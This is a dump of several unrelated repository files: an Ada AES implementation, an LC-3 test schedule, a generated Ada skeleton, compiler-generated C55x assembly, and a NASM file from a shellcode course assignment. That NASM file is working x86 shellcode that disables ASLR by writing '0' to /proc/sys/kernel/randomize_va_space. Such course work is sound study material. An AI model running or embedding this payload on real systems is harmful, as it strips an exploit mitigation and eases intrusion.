max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
src/shared/generic/lsc-internal-aes.adb | Componolit/libsparkcrypto | 30 | 12521 | <gh_stars>10-100
-------------------------------------------------------------------------------
-- This file is part of libsparkcrypto.
--
-- Copyright (C) 2010, <NAME>
-- Copyright (C) 2010, secunet Security Networks AG
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
--
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
--
-- * Neither the name of the nor the names of its contributors may be used
-- to endorse or promote products derived from this software without
-- specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
-- BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
with Interfaces;
with LSC.Internal.Ops32;
with LSC.Internal.Byteorder32;
with LSC.Internal.AES.Tables;
with LSC.Internal.AES.Print;
with LSC.Internal.Debug;
pragma Unreferenced (LSC.Internal.Debug);
package body LSC.Internal.AES is
----------------------------------------------------------------------------
function Sub_Word (Value : Types.Word32) return Types.Word32
with Pre => True; -- FIXME: Workaround for [N916-032]
function Sub_Word (Value : Types.Word32) return Types.Word32
is
Temp : Types.Byte_Array32_Type;
begin
Temp := Types.Word32_To_Byte_Array32 (Value);
return Ops32.Bytes_To_Word (Byte0 => Tables.S (Temp (3)),
Byte1 => Tables.S (Temp (2)),
Byte2 => Tables.S (Temp (1)),
Byte3 => Tables.S (Temp (0)));
end Sub_Word;
----------------------------------------------------------------------------
function Rot_Word (Value : Types.Word32) return Types.Word32;
function Rot_Word (Value : Types.Word32) return Types.Word32
is
begin
return Interfaces.Rotate_Left (Value, 8);
end Rot_Word;
----------------------------------------------------------------------------
function Enc_Key_Expansion (Key : Key_Type;
Nk : Nk_Type;
Nr : Nr_Type) return Schedule_Type
with
Pre => Key'Length = Nk;
function Enc_Key_Expansion (Key : Key_Type;
Nk : Nk_Type;
Nr : Nr_Type) return Schedule_Type
is
Temp : Types.Word32;
Rot_Temp : Types.Word32;
Sub_Temp : Types.Word32;
Result : Schedule_Type := Null_Schedule;
begin
for I in Key_Index range Key'First .. Key'Last
loop
Result (I) := Byteorder32.Native_To_BE (Key (I));
end loop;
pragma Debug (LSC.Internal.AES.Print.Header (Result));
for I in Schedule_Index range Nk .. Nb * (Nr + 1) - 1
loop
pragma Debug (LSC.Internal.AES.Print.Index (I));
Temp := Result (I - 1);
pragma Debug (LSC.Internal.AES.Print.Row (Temp));
if I mod Nk = 0 then
pragma Assert_And_Cut
(I mod Nk = 0 and
I / Nk in Tables.Rcon_Index);
Rot_Temp := Rot_Word (Temp);
Sub_Temp := Sub_Word (Rot_Temp);
Temp := Ops32.XOR2 (Sub_Temp, Tables.Rcon (I / Nk));
pragma Debug (LSC.Internal.AES.Print.Row (Rot_Temp));
pragma Debug (LSC.Internal.AES.Print.Row (Sub_Temp));
pragma Debug (LSC.Internal.AES.Print.Row (Tables.Rcon (I / Nk)));
pragma Debug (LSC.Internal.AES.Print.Row (Temp));
elsif Nk > 6 and I mod Nk = Nb then
pragma Debug (LSC.Internal.AES.Print.Empty (1));
Temp := Sub_Word (Temp);
pragma Debug (LSC.Internal.AES.Print.Row (Temp));
pragma Debug (LSC.Internal.AES.Print.Empty (2));
else
pragma Debug (LSC.Internal.AES.Print.Empty (4));
null;
end if;
pragma Loop_Invariant
(I - Nk in Schedule_Index and
I in Schedule_Index);
Result (I) := Ops32.XOR2 (Result (I - Nk), Temp);
pragma Debug (LSC.Internal.AES.Print.Row (Result (I - Nk)));
pragma Debug (LSC.Internal.AES.Print.Row (Result (I)));
pragma Debug (LSC.Internal.Debug.New_Line);
end loop;
pragma Debug (LSC.Internal.AES.Print.Footer (Result));
return Result;
end Enc_Key_Expansion;
----------------------------------------------------------------------------
function Dec_Key_Expansion (Key : Key_Type;
Nk : Nk_Type;
Nr : Nr_Type) return Schedule_Type
with
Pre =>
Key'Length = Nk and
Nk < (Nb * (Nr + 1) - 1);
function Dec_Key_Expansion (Key : Key_Type;
Nk : Nk_Type;
Nr : Nr_Type) return Schedule_Type
is
Result : Schedule_Type;
begin
Result := Enc_Key_Expansion (Key, Nk, Nr);
for Round in Schedule_Index range 1 .. Nr - 1
loop
pragma Loop_Invariant (Nb * Round in Schedule_Index);
Result (Nb * Round) :=
Ops32.XOR4 (Tables.U1 (Ops32.Byte0 (Result (Nb * Round))),
Tables.U2 (Ops32.Byte1 (Result (Nb * Round))),
Tables.U3 (Ops32.Byte2 (Result (Nb * Round))),
Tables.U4 (Ops32.Byte3 (Result (Nb * Round))));
end loop;
for Round in Schedule_Index range 1 .. Nr - 1
loop
pragma Loop_Invariant (Nb * Round + 1 in Schedule_Index);
Result (Nb * Round + 1) :=
Ops32.XOR4 (Tables.U1 (Ops32.Byte0 (Result (Nb * Round + 1))),
Tables.U2 (Ops32.Byte1 (Result (Nb * Round + 1))),
Tables.U3 (Ops32.Byte2 (Result (Nb * Round + 1))),
Tables.U4 (Ops32.Byte3 (Result (Nb * Round + 1))));
end loop;
for Round in Schedule_Index range 1 .. Nr - 1
loop
pragma Loop_Invariant (Nb * Round + 2 in Schedule_Index);
Result (Nb * Round + 2) :=
Ops32.XOR4 (Tables.U1 (Ops32.Byte0 (Result (Nb * Round + 2))),
Tables.U2 (Ops32.Byte1 (Result (Nb * Round + 2))),
Tables.U3 (Ops32.Byte2 (Result (Nb * Round + 2))),
Tables.U4 (Ops32.Byte3 (Result (Nb * Round + 2))));
end loop;
for Round in Schedule_Index range 1 .. Nr - 1
loop
pragma Loop_Invariant (Nb * Round + 3 in Schedule_Index);
Result (Nb * Round + 3) :=
Ops32.XOR4 (Tables.U1 (Ops32.Byte0 (Result (Nb * Round + 3))),
Tables.U2 (Ops32.Byte1 (Result (Nb * Round + 3))),
Tables.U3 (Ops32.Byte2 (Result (Nb * Round + 3))),
Tables.U4 (Ops32.Byte3 (Result (Nb * Round + 3))));
end loop;
pragma Debug (LSC.Internal.AES.Print.Footer (Result));
return Result;
end Dec_Key_Expansion;
----------------------------------------------------------------------------
function Encrypt (Context : AES_Enc_Context;
Plaintext : Block_Type) return Block_Type
is
A0, A1, A2, A3 : Types.Word32;
C0, C1, C2, C3 : Types.Word32;
begin
pragma Debug (AES.Print.Block ("PLAINTEXT: ", "input ", Plaintext, Schedule_Index'(0)));
C0 := Byteorder32.Native_To_BE (Plaintext (0)) xor
Context.Schedule (0);
C1 := Byteorder32.Native_To_BE (Plaintext (1)) xor
Context.Schedule (1);
C2 := Byteorder32.Native_To_BE (Plaintext (2)) xor
Context.Schedule (2);
C3 := Byteorder32.Native_To_BE (Plaintext (3)) xor
Context.Schedule (3);
for Round in Schedule_Index range 1 .. Context.Nr - 1
loop
pragma Loop_Invariant
(Round <= Context.Nr - 1 and
Schedule_Index'First <= Nb * Round and
Nb * Round + 3 <= Schedule_Index'Last);
pragma Debug (Print.Print_Round ("start ", Round, Block_Type'(C0, C1, C2, C3)));
A0 := Ops32.XOR5 (Tables.T1 (Ops32.Byte0 (C0)),
Tables.T2 (Ops32.Byte1 (C1)),
Tables.T3 (Ops32.Byte2 (C2)),
Tables.T4 (Ops32.Byte3 (C3)),
Context.Schedule (Nb * Round));
A1 := Ops32.XOR5 (Tables.T1 (Ops32.Byte0 (C1)),
Tables.T2 (Ops32.Byte1 (C2)),
Tables.T3 (Ops32.Byte2 (C3)),
Tables.T4 (Ops32.Byte3 (C0)),
Context.Schedule (Nb * Round + 1));
A2 := Ops32.XOR5 (Tables.T1 (Ops32.Byte0 (C2)),
Tables.T2 (Ops32.Byte1 (C3)),
Tables.T3 (Ops32.Byte2 (C0)),
Tables.T4 (Ops32.Byte3 (C1)),
Context.Schedule (Nb * Round + 2));
A3 := Ops32.XOR5 (Tables.T1 (Ops32.Byte0 (C3)),
Tables.T2 (Ops32.Byte1 (C0)),
Tables.T3 (Ops32.Byte2 (C1)),
Tables.T4 (Ops32.Byte3 (C2)),
Context.Schedule (Nb * Round + 3));
pragma Assert_And_Cut
(Round <= Context.Nr - 1 and
Schedule_Index'First <= Nb * Round and
Nb * Round + 3 <= Schedule_Index'Last);
C0 := A0;
C1 := A1;
C2 := A2;
C3 := A3;
end loop;
pragma Debug (Print.Print_Round ("start ", Context.Nr, Block_Type'(C0, C1, C2, C3)));
A0 := Ops32.Bytes_To_Word
(Tables.S (Ops32.Byte0 (C0)),
Tables.S (Ops32.Byte1 (C1)),
Tables.S (Ops32.Byte2 (C2)),
Tables.S (Ops32.Byte3 (C3))) xor
Context.Schedule (Nb * Context.Nr);
A1 := Ops32.Bytes_To_Word
(Tables.S (Ops32.Byte0 (C1)),
Tables.S (Ops32.Byte1 (C2)),
Tables.S (Ops32.Byte2 (C3)),
Tables.S (Ops32.Byte3 (C0))) xor
Context.Schedule (Nb * Context.Nr + 1);
A2 := Ops32.Bytes_To_Word
(Tables.S (Ops32.Byte0 (C2)),
Tables.S (Ops32.Byte1 (C3)),
Tables.S (Ops32.Byte2 (C0)),
Tables.S (Ops32.Byte3 (C1))) xor
Context.Schedule (Nb * Context.Nr + 2);
A3 := Ops32.Bytes_To_Word
(Tables.S (Ops32.Byte0 (C3)),
Tables.S (Ops32.Byte1 (C0)),
Tables.S (Ops32.Byte2 (C1)),
Tables.S (Ops32.Byte3 (C2))) xor
Context.Schedule (Nb * Context.Nr + 3);
pragma Debug (Print.Print_Round ("output", Context.Nr, Block_Type'(A0, A1, A2, A3)));
return Block_Type'(Byteorder32.BE_To_Native (A0),
Byteorder32.BE_To_Native (A1),
Byteorder32.BE_To_Native (A2),
Byteorder32.BE_To_Native (A3));
end Encrypt;
----------------------------------------------------------------------------
function Create_AES128_Enc_Context
(Key : AES128_Key_Type) return AES_Enc_Context
is
begin
return AES_Enc_Context'
(Schedule => Enc_Key_Expansion (Key => Key,
Nk => 4,
Nr => 10),
Nr => 10);
end Create_AES128_Enc_Context;
----------------------------------------------------------------------------
function Create_AES192_Enc_Context
(Key : AES192_Key_Type) return AES_Enc_Context
is
begin
return AES_Enc_Context'
(Schedule => Enc_Key_Expansion (Key => Key,
Nk => 6,
Nr => 12),
Nr => 12);
end Create_AES192_Enc_Context;
----------------------------------------------------------------------------
function Create_AES256_Enc_Context
(Key : AES256_Key_Type) return AES_Enc_Context
is
begin
return AES_Enc_Context'
(Schedule => Enc_Key_Expansion (Key => Key,
Nk => 8,
Nr => 14),
Nr => 14);
end Create_AES256_Enc_Context;
----------------------------------------------------------------------------
function Create_AES128_Dec_Context
(Key : AES128_Key_Type) return AES_Dec_Context
is
begin
return AES_Dec_Context'
(Schedule => Dec_Key_Expansion (Key => Key,
Nk => 4,
Nr => 10),
Nr => 10);
end Create_AES128_Dec_Context;
----------------------------------------------------------------------------
function Create_AES192_Dec_Context
(Key : AES192_Key_Type) return AES_Dec_Context
is
begin
return AES_Dec_Context'
(Schedule => Dec_Key_Expansion (Key => Key,
Nk => 6,
Nr => 12),
Nr => 12);
end Create_AES192_Dec_Context;
----------------------------------------------------------------------------
function Create_AES256_Dec_Context
(Key : AES256_Key_Type) return AES_Dec_Context
is
begin
return AES_Dec_Context'
(Schedule => Dec_Key_Expansion (Key => Key,
Nk => 8,
Nr => 14),
Nr => 14);
end Create_AES256_Dec_Context;
----------------------------------------------------------------------------
function Decrypt (Context : AES_Dec_Context;
Ciphertext : Block_Type) return Block_Type
is
A0, A1, A2, A3 : Types.Word32;
C0, C1, C2, C3 : Types.Word32;
begin
pragma Debug (AES.Print.Block ("CIPHERTEXT: ", "iinput", Ciphertext, Schedule_Index'(Context.Nr)));
C0 := Byteorder32.Native_To_BE (Ciphertext (0)) xor
Context.Schedule (Nb * Context.Nr);
C1 := Byteorder32.Native_To_BE (Ciphertext (1)) xor
Context.Schedule (Nb * Context.Nr + 1);
C2 := Byteorder32.Native_To_BE (Ciphertext (2)) xor
Context.Schedule (Nb * Context.Nr + 2);
C3 := Byteorder32.Native_To_BE (Ciphertext (3)) xor
Context.Schedule (Nb * Context.Nr + 3);
for Round in reverse Schedule_Index range 1 .. Context.Nr - 1
loop
pragma Loop_Invariant
(Round <= Context.Nr - 1 and
Schedule_Index'First <= Nb * Round and
Nb * Round + 3 <= Schedule_Index'Last);
pragma Debug (Print.Print_Round ("istart", Round, Block_Type'(C0, C1, C2, C3)));
A0 := Ops32.XOR5 (Tables.T5 (Ops32.Byte0 (C0)),
Tables.T6 (Ops32.Byte1 (C3)),
Tables.T7 (Ops32.Byte2 (C2)),
Tables.T8 (Ops32.Byte3 (C1)),
Context.Schedule (Nb * Round));
A1 := Ops32.XOR5 (Tables.T5 (Ops32.Byte0 (C1)),
Tables.T6 (Ops32.Byte1 (C0)),
Tables.T7 (Ops32.Byte2 (C3)),
Tables.T8 (Ops32.Byte3 (C2)),
Context.Schedule (Nb * Round + 1));
A2 := Ops32.XOR5 (Tables.T5 (Ops32.Byte0 (C2)),
Tables.T6 (Ops32.Byte1 (C1)),
Tables.T7 (Ops32.Byte2 (C0)),
Tables.T8 (Ops32.Byte3 (C3)),
Context.Schedule (Nb * Round + 2));
A3 := Ops32.XOR5 (Tables.T5 (Ops32.Byte0 (C3)),
Tables.T6 (Ops32.Byte1 (C2)),
Tables.T7 (Ops32.Byte2 (C1)),
Tables.T8 (Ops32.Byte3 (C0)),
Context.Schedule (Nb * Round + 3));
C0 := A0;
C1 := A1;
C2 := A2;
C3 := A3;
end loop;
pragma Debug (Print.Print_Round ("istart", 0, Block_Type'(C0, C1, C2, C3)));
A0 := Ops32.Bytes_To_Word
(Tables.Si (Ops32.Byte0 (C0)),
Tables.Si (Ops32.Byte1 (C3)),
Tables.Si (Ops32.Byte2 (C2)),
Tables.Si (Ops32.Byte3 (C1))) xor
Context.Schedule (0);
A1 := Ops32.Bytes_To_Word
(Tables.Si (Ops32.Byte0 (C1)),
Tables.Si (Ops32.Byte1 (C0)),
Tables.Si (Ops32.Byte2 (C3)),
Tables.Si (Ops32.Byte3 (C2))) xor
Context.Schedule (1);
A2 := Ops32.Bytes_To_Word
(Tables.Si (Ops32.Byte0 (C2)),
Tables.Si (Ops32.Byte1 (C1)),
Tables.Si (Ops32.Byte2 (C0)),
Tables.Si (Ops32.Byte3 (C3))) xor
Context.Schedule (2);
A3 := Ops32.Bytes_To_Word
(Tables.Si (Ops32.Byte0 (C3)),
Tables.Si (Ops32.Byte1 (C2)),
Tables.Si (Ops32.Byte2 (C1)),
Tables.Si (Ops32.Byte3 (C0))) xor
Context.Schedule (3);
pragma Debug (Print.Print_Round ("ioutpt", 0, Block_Type'(A0, A1, A2, A3)));
return Block_Type'(Byteorder32.BE_To_Native (A0),
Byteorder32.BE_To_Native (A1),
Byteorder32.BE_To_Native (A2),
Byteorder32.BE_To_Native (A3));
end Decrypt;
end LSC.Internal.AES;
|
klc3-manual/examples/zjui_ece220_fa20/mp3/sched.asm | liuzikai/klc3 | 0 | 174426 | <filename>klc3-manual/examples/zjui_ece220_fa20/mp3/sched.asm
.ORIG x4000
; Weekday bit vector
; A bit vector of -1 ends the event list.
; May assume all bit vectors have 0 bits in the high 11 bits.
; May not assume that event bit vectors are non-zero.
; Event name
; May not assume that event strings are non-empty.
; Event slot
; Report invalid slot number
; Report conflict
; KLC3: INPUT_FILE
; KLC3: SET_DATA_DEFAULT_FLAG READ_ONLY
; KLC3: COMMENT Event schedule input of the test case.
; KLC3: COMMENT Note that this file may contains additional things after the end of event list.
; KLC3: COMMENT Please carefully identify the end of the event list.
.BLKW #1 ; KLC3: SYMBOLIC as EVENT1_WEEKDAY_BV
; KLC3: SYMBOLIC EVENT1_WEEKDAY_BV >= #-1 & EVENT1_WEEKDAY_BV <= #3 | EVENT1_WEEKDAY_BV >= x10 & EVENT1_WEEKDAY_BV <= x13
; -1 (empty list), b00000 to b00011, b10000 to b10011
.STRINGZ "A" ; KLC3: INPUT EVENT1_NAME
.BLKW #1 ; KLC3: SYMBOLIC as EVENT1_SLOT
; KLC3: SYMBOLIC EVENT1_SLOT >= #-1 & EVENT1_SLOT <= #1 | EVENT1_SLOT == #14 | EVENT1_SLOT == #15
; -1 (invalid), 0, 1, 14, 15 (invalid)
.FILL #17 ; KLC3: INPUT EVENT2_WEEKDAY_BV
; b10001
.STRINGZ "BBBBBBBBBB" ; KLC3: INPUT EVENT2_NAME
.BLKW #1 ; KLC3: SYMBOLIC as EVENT2_SLOT
; KLC3: SYMBOLIC EVENT2_SLOT == #0 | EVENT2_SLOT == #1 | EVENT2_SLOT == #14
; 0, 1, 14
.FILL #-1 ; Mark the end of the schedule
.END
|
Ada/server/src/corbacbsg-cbsg-skel.ads | FredPraca/distributed_cbsg | 4 | 21519 | pragma Style_Checks ("NM32766");
pragma Wide_Character_Encoding (Brackets);
---------------------------------------------------
-- This file has been generated automatically from
-- cbsg.idl
-- by IAC (IDL to Ada Compiler) 20.0w (rev. 90136cd4).
---------------------------------------------------
-- NOTE: If you modify this file by hand, your
-- changes will be lost when you re-run the
-- IDL to Ada compiler.
---------------------------------------------------
package CorbaCBSG.CBSG.Skel is
procedure Deferred_Initialization;
end CorbaCBSG.CBSG.Skel;
|
Assignment6/poly_aslr.nasm | xen0vas/SLAE | 1 | 101227 | <gh_stars>1-10
; poly_aslr.nasm
;
; Desc: this shellcode disables ASLR
;
; Author: <NAME>
;
; Student ID: SLAE - 1314
global _start
section .text
_start:
xor ebx,ebx
mul ebx
mov DWORD [esp-0x4],eax
mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28
mov ebx,esp
mov cx,0x301
mov dx,0x2a1
add dx,0x1b
mov al, 0x5
int 0x80
mov ebx,eax
push ebx
mov cx,0x3b30
push cx
mov ecx,esp
shr edx, 16
inc edx
mov al,0x4
int 0x80
xor eax, eax
inc al
int 0x80
|
tmp1/c55x-sim2/foo/Debug/CSL_I2S_IntcExample.asm | jwestmoreland/eZdsp-DBG-sim | 1 | 19454 | ;*******************************************************************************
;* TMS320C55x C/C++ Codegen PC v4.4.1 *
;* Date/Time created: Sat Sep 29 23:09:32 2018 *
;*******************************************************************************
.compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf
.mmregs
.cpl_on
.arms_on
.c54cm_off
.asg AR6, FP
.asg XAR6, XFP
.asg DPH, MDP
.model call=c55_std
.model mem=large
.noremark 5002 ; code respects overwrite rules
;*******************************************************************************
;* GLOBAL FILE PARAMETERS *
;* *
;* Architecture : TMS320C55x *
;* Optimizing for : Speed *
;* Memory : Large Model (23-Bit Data Pointers) *
;* Calls : Normal Library ASM calls *
;* Debug Info : Standard TI Debug Information *
;*******************************************************************************
$C$DW$CU .dwtag DW_TAG_compile_unit
.dwattr $C$DW$CU, DW_AT_name("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated")
.dwattr $C$DW$CU, DW_AT_TI_version(0x01)
.dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug")
;******************************************************************************
;* CINIT RECORDS *
;******************************************************************************
.sect ".cinit"
.align 1
.field 1,16
.field _writeCompete+0,24
.field 0,8
.field 0,16 ; _writeCompete @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _readComplete+0,24
.field 0,8
.field 0,16 ; _readComplete @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs_StAtE+0,24
.field 0,8
.field 1,16 ; _PaSs_StAtE @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs+0,24
.field 0,8
.field 0,16 ; _PaSs @ 0
$C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_open")
.dwattr $C$DW$1, DW_AT_TI_symbol_name("_I2S_open")
.dwattr $C$DW$1, DW_AT_type(*$C$DW$T$77)
.dwattr $C$DW$1, DW_AT_declaration
.dwattr $C$DW$1, DW_AT_external
$C$DW$2 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$2, DW_AT_type(*$C$DW$T$26)
$C$DW$3 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$3, DW_AT_type(*$C$DW$T$28)
$C$DW$4 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$4, DW_AT_type(*$C$DW$T$30)
.dwendtag $C$DW$1
$C$DW$5 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_setup")
.dwattr $C$DW$5, DW_AT_TI_symbol_name("_I2S_setup")
.dwattr $C$DW$5, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$5, DW_AT_declaration
.dwattr $C$DW$5, DW_AT_external
$C$DW$6 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$6, DW_AT_type(*$C$DW$T$77)
$C$DW$7 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$7, DW_AT_type(*$C$DW$T$81)
.dwendtag $C$DW$5
$C$DW$8 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_close")
.dwattr $C$DW$8, DW_AT_TI_symbol_name("_I2S_close")
.dwattr $C$DW$8, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$8, DW_AT_declaration
.dwattr $C$DW$8, DW_AT_external
$C$DW$9 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$9, DW_AT_type(*$C$DW$T$77)
.dwendtag $C$DW$8
$C$DW$10 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_read")
.dwattr $C$DW$10, DW_AT_TI_symbol_name("_I2S_read")
.dwattr $C$DW$10, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$10, DW_AT_declaration
.dwattr $C$DW$10, DW_AT_external
$C$DW$11 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$11, DW_AT_type(*$C$DW$T$77)
$C$DW$12 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$12, DW_AT_type(*$C$DW$T$92)
$C$DW$13 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$13, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$10
$C$DW$14 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_write")
.dwattr $C$DW$14, DW_AT_TI_symbol_name("_I2S_write")
.dwattr $C$DW$14, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$14, DW_AT_declaration
.dwattr $C$DW$14, DW_AT_external
$C$DW$15 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$15, DW_AT_type(*$C$DW$T$77)
$C$DW$16 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$16, DW_AT_type(*$C$DW$T$92)
$C$DW$17 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$17, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$14
$C$DW$18 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_reset")
.dwattr $C$DW$18, DW_AT_TI_symbol_name("_I2S_reset")
.dwattr $C$DW$18, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$18, DW_AT_declaration
.dwattr $C$DW$18, DW_AT_external
$C$DW$19 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$19, DW_AT_type(*$C$DW$T$77)
.dwendtag $C$DW$18
$C$DW$20 .dwtag DW_TAG_subprogram, DW_AT_name("I2S_transEnable")
.dwattr $C$DW$20, DW_AT_TI_symbol_name("_I2S_transEnable")
.dwattr $C$DW$20, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$20, DW_AT_declaration
.dwattr $C$DW$20, DW_AT_external
$C$DW$21 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$21, DW_AT_type(*$C$DW$T$77)
$C$DW$22 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$22, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$20
$C$DW$23 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_plug")
.dwattr $C$DW$23, DW_AT_TI_symbol_name("_IRQ_plug")
.dwattr $C$DW$23, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$23, DW_AT_declaration
.dwattr $C$DW$23, DW_AT_external
$C$DW$24 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$24, DW_AT_type(*$C$DW$T$19)
$C$DW$25 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$25, DW_AT_type(*$C$DW$T$67)
.dwendtag $C$DW$23
$C$DW$26 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_clearAll")
.dwattr $C$DW$26, DW_AT_TI_symbol_name("_IRQ_clearAll")
.dwattr $C$DW$26, DW_AT_declaration
.dwattr $C$DW$26, DW_AT_external
$C$DW$27 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_disable")
.dwattr $C$DW$27, DW_AT_TI_symbol_name("_IRQ_disable")
.dwattr $C$DW$27, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$27, DW_AT_declaration
.dwattr $C$DW$27, DW_AT_external
$C$DW$28 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$28, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$27
$C$DW$29 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_disableAll")
.dwattr $C$DW$29, DW_AT_TI_symbol_name("_IRQ_disableAll")
.dwattr $C$DW$29, DW_AT_declaration
.dwattr $C$DW$29, DW_AT_external
$C$DW$30 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_enable")
.dwattr $C$DW$30, DW_AT_TI_symbol_name("_IRQ_enable")
.dwattr $C$DW$30, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$30, DW_AT_declaration
.dwattr $C$DW$30, DW_AT_external
$C$DW$31 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$31, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$30
$C$DW$32 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_setVecs")
.dwattr $C$DW$32, DW_AT_TI_symbol_name("_IRQ_setVecs")
.dwattr $C$DW$32, DW_AT_type(*$C$DW$T$87)
.dwattr $C$DW$32, DW_AT_declaration
.dwattr $C$DW$32, DW_AT_external
$C$DW$33 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$33, DW_AT_type(*$C$DW$T$68)
.dwendtag $C$DW$32
$C$DW$34 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalDisable")
.dwattr $C$DW$34, DW_AT_TI_symbol_name("_IRQ_globalDisable")
.dwattr $C$DW$34, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$34, DW_AT_declaration
.dwattr $C$DW$34, DW_AT_external
$C$DW$35 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalEnable")
.dwattr $C$DW$35, DW_AT_TI_symbol_name("_IRQ_globalEnable")
.dwattr $C$DW$35, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$35, DW_AT_declaration
.dwattr $C$DW$35, DW_AT_external
$C$DW$36 .dwtag DW_TAG_subprogram, DW_AT_name("printf")
.dwattr $C$DW$36, DW_AT_TI_symbol_name("_printf")
.dwattr $C$DW$36, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$36, DW_AT_declaration
.dwattr $C$DW$36, DW_AT_external
$C$DW$37 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$37, DW_AT_type(*$C$DW$T$111)
$C$DW$38 .dwtag DW_TAG_unspecified_parameters
.dwendtag $C$DW$36
$C$DW$39 .dwtag DW_TAG_subprogram, DW_AT_name("VECSTART")
.dwattr $C$DW$39, DW_AT_TI_symbol_name("_VECSTART")
.dwattr $C$DW$39, DW_AT_declaration
.dwattr $C$DW$39, DW_AT_external
.global _CSL_IrqData
.bss _CSL_IrqData,132,0,2
$C$DW$40 .dwtag DW_TAG_variable, DW_AT_name("CSL_IrqData")
.dwattr $C$DW$40, DW_AT_TI_symbol_name("_CSL_IrqData")
.dwattr $C$DW$40, DW_AT_location[DW_OP_addr _CSL_IrqData]
.dwattr $C$DW$40, DW_AT_type(*$C$DW$T$82)
.dwattr $C$DW$40, DW_AT_external
